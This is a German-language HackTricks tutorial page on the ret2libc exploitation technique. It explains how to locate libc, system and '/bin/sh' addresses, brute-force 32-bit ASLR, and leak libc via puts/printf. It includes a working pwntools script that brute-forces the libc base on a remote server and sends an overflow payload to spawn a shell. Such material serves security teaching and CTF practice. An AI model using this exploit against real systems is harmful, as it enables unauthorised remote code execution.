Ret2lib

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Grundinformationen

Die Essenz von Ret2Libc besteht darin, den Ausführungsfluss eines verwundbaren Programms zu einer Funktion innerhalb einer gemeinsamen Bibliothek (z. B. system, execve, strcpy) umzuleiten, anstatt vom Angreifer bereitgestellten Shellcode auf dem Stack auszuführen. Der Angreifer erstellt ein Payload, das die Rücksprungadresse auf dem Stack so ändert, dass sie auf die gewünschte Bibliotheksfunktion zeigt, während auch sichergestellt wird, dass alle erforderlichen Argumente gemäß der Aufrufkonvention korrekt eingerichtet sind.

Beispielschritte (vereinfacht)

  • Holen Sie sich die Adresse der aufzurufenden Funktion (z. B. system) und den Befehl, der aufgerufen werden soll (z. B. /bin/sh)
  • Erzeugen Sie eine ROP-Kette, um das erste Argument, das auf die Befehlszeichenfolge zeigt, und den Ausführungsfluss zur Funktion zu übergeben

Adressen finden

  • Angenommen, die verwendete libc ist die von der aktuellen Maschine, können Sie herausfinden, wo sie im Speicher geladen wird mit:
bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Wenn Sie überprüfen möchten, ob ASLR die Adresse von libc ändert, können Sie Folgendes tun:

bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur system-Funktion mit:
bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur Funktion des Strings /bin/sh mit:
bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Verwendung von gdb-peda / GEF

Wenn die verwendete libc bekannt ist, ist es auch möglich, Peda oder GEF zu verwenden, um die Adresse der system-Funktion, der exit-Funktion und des Strings /bin/sh zu erhalten:

bash
p system
p exit
find "/bin/sh"

Verwendung von /proc/<PID>/maps

Wenn der Prozess Kinder erstellt, jedes Mal wenn Sie mit ihm sprechen (Netzwerkserver), versuchen Sie, diese Datei zu lesen (wahrscheinlich müssen Sie root sein).

Hier können Sie genau herausfinden, wo die libc im Prozess geladen ist und wo sie für jedes Kind des Prozesses geladen wird.

In diesem Fall ist sie bei 0xb75dc000 geladen (Dies wird die Basisadresse von libc sein).

Unbekannte libc

Es könnte sein, dass Sie nicht wissen, welche libc die Binärdatei lädt (weil sie sich möglicherweise auf einem Server befindet, auf den Sie keinen Zugriff haben). In diesem Fall könnten Sie die Schwachstelle ausnutzen, um einige Adressen zu leaken und herauszufinden, welche libc-Bibliothek verwendet wird:

Leaking libc address with ROP

Und Sie können eine pwntools-Vorlage dafür finden in:

Leaking libc - template

libc mit 2 Offsets kennen

Überprüfen Sie die Seite https://libc.blukat.me/ und verwenden Sie ein paar Adressen von Funktionen innerhalb der libc, um die verwendete Version herauszufinden.

ASLR in 32 Bit umgehen

Diese Brute-Force-Angriffe sind nur nützlich für 32-Bit-Systeme.

  • Wenn der Exploit lokal ist, können Sie versuchen, die Basisadresse von libc zu brute-forcen (nützlich für 32-Bit-Systeme):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, die Adresse der libc-Funktion usleep zu brute-forcen, indem Sie als Argument 10 übergeben (zum Beispiel). Wenn der Server irgendwann 10 Sekunden länger für die Antwort benötigt, haben Sie die Adresse dieser Funktion gefunden.

One Gadget

Führen Sie eine Shell aus, indem Sie einfach zu einer bestimmten Adresse in libc springen:

One Gadget

x86 Ret2lib Code Beispiel

In diesem Beispiel ist ASLR-Brute-Force im Code integriert und die verwundbare Binärdatei befindet sich auf einem Remote-Server:

python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Code Beispiel

Überprüfen Sie das Beispiel von:

ROP - Return Oriented Programing

ARM64 Ret2lib Beispiel

Im Fall von ARM64 springt die ret-Anweisung dorthin, wo das x30-Register zeigt und nicht dorthin, wo das Stack-Register zeigt. Es ist also etwas komplizierter.

Auch in ARM64 führt eine Anweisung das aus, was die Anweisung tut (es ist nicht möglich, mitten in Anweisungen zu springen und sie in neue zu transformieren).

Überprüfen Sie das Beispiel von:

Ret2lib + Printf leak - arm64

Ret-into-printf (oder puts)

Dies ermöglicht es, Informationen aus dem Prozess zu leaken, indem printf/puts mit bestimmten Daten als Argument aufgerufen wird. Zum Beispiel wird das Einfügen der Adresse von puts in die GOT in einer Ausführung von puts die Adresse von puts im Speicher leaken.

Ret2printf

Das bedeutet im Grunde, eine Ret2lib auszunutzen, um sie in eine printf-Formatstrings-Schwachstelle zu verwandeln, indem ret2lib verwendet wird, um printf mit den Werten aufzurufen, um sie auszunutzen (klingt nutzlos, ist aber möglich):

Format Strings

Weitere Beispiele & Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks